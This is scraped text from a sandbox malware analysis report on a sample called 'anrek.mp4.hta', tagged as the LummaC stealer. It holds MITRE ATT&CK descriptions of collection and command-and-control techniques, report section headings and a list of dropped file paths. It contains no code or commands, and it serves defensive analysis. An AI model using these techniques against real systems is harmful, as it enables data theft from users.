Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report anrek.mp4.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i5eudrcw.u45.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oft1axl3.pzu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pauv3kic.3yo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjqes11h.yvs.ps1

C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_isdecmp.dll

C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-G0TQE.tmp\_isetup\_isdecmp.dll

C:\Users\user\AppData\Local\Temp\is-G0TQE.tmp\_isetup\_setup64.tmp

Windows Analysis Report
anrek.mp4.hta

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre